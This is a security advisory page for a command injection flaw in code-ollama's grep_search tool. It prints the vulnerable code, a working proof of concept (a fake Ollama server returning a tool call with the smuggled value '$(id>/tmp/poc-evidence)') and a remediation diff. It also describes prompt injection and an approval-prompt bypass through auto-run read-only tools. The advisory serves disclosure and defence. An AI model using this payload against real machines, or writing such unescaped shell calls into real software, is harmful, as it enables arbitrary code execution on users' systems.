# GHSA-456v-xq2p-r4cj: code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

> A malicious Ollama server can execute arbitrary OS commands on the local machine via unescaped shell substitution in the grep_search tool.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 28 Sep 2026

## What is GHSA-456v-xq2p-r4cj?

GHSA-456v-xq2p-r4cj is a command injection vulnerability in code-ollama, published on 28 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

### Summary

The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.

### Details

**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**

```ts
const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
```

Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.

**Full data-flow path (source → sink)**

| Step | Location | Action |
|------|----------|--------|
| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |
| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |
| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |
| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |
| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) |
| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |
| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |

**Approval-bypass amplifier**

`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.

### PoC

**Prerequisites**

- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).
- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).
- Python 3 available to run the fake Ollama server.

**Step 1 — Build the self-contained Docker image (recommended)**

```sh
# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
```

The container automatically runs `poc.py` as `CMD`. Successful exploitation prints:

```
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'
```

**Step 2 — Manual reproduction (bare-metal)**

```sh
# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...
```

**Explanation of the payload**

The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string

```
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
```

is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.

**Remediation**

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

```diff
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );
```

### Impact

This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.

Impact scope:

- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.
- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep  — required by grepSearch() in the vuln

## Which versions are affected by GHSA-456v-xq2p-r4cj?

2 open source packages ship an affected version, including code-ollama.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `code-ollama` | npm | All versions | 0.36.1 |
| `code-ollama` | npm | All versions | 0.36.1 |

## How do I fix GHSA-456v-xq2p-r4cj?

Upgrade code-ollama to 0.36.1 or later.

## Is GHSA-456v-xq2p-r4cj being exploited?

There is no known exploitation of GHSA-456v-xq2p-r4cj in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-456v-xq2p-r4cj and fix it if it is affected.

What it is: GHSA-456v-xq2p-r4cj is a command injection vulnerability in code-ollama, published on 28 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-456v-xq2p-r4cj in the wild and no public exploit code.

Affected packages and fixed versions:
- code-ollama (npm): affected all versions; fixed in 0.36.1
- code-ollama (npm): affected all versions; fixed in 0.36.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/ (Markdown: https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-456v-xq2p-r4cj

---
From sbomify Insights: https://insights.sbomify.com/GHSA-456v-xq2p-r4cj/
Summaries are generated and may contain mistakes; the official description above is the record.
